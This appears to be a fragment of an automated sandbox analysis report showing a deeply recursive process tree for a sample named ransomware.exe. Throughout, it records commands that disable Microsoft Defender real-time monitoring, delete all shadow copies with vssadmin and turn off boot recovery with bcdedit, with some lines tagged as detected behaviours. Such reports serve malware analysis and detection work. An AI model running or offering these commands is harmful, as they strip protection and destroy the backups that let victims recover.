C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""96⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"97⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"96⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet97⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"96⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No97⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet96⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""97⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"98⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"97⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet98⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"97⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No98⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet97⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""98⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"99⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"98⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet99⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"98⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No99⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet98⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""99⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"100⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"99⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet100⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"99⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No100⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet99⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""100⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"101⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"100⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet101⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"100⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No101⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet100⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""101⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"102⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"101⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet102⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"101⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No102⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet101⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""102⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"103⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"102⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet103⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"102⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No103⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet102⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""103⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"104⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"103⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet104⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"103⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No104⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet103⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""104⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"105⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"104⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet105⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"104⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No105⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet104⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""105⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"106⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"105⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet106⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"105⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No106⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet105⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""106⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"107⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"106⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet107⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"106⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No107⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet106⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""107⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"108⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"107⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet108⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"107⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No108⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet107⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""108⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"109⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"108⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet109⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"108⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No109⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet108⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""109⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"110⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"109⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet110⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"109⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No110⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet109⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""110⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"111⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"110⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet111⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"110⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No111⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet110⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""111⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"112⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"111⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet112⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"111⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No112⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet111⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""112⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"113⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"112⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet113⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"112⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No113⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet112⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""113⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"114⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"113⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet114⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"113⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No114⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet113⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""114⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"115⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"114⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet115⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"114⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No115⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet114⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""115⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"116⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"115⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet116⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"115⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No116⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet115⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""116⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"117⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"116⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet117⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"116⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No117⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet116⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""117⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"118⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"117⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet118⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"117⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No118⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet117⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""118⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"119⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"118⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet119⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"118⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No119⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet118⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""119⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"120⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"119⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet120⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"119⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No120⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet119⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""120⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"121⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-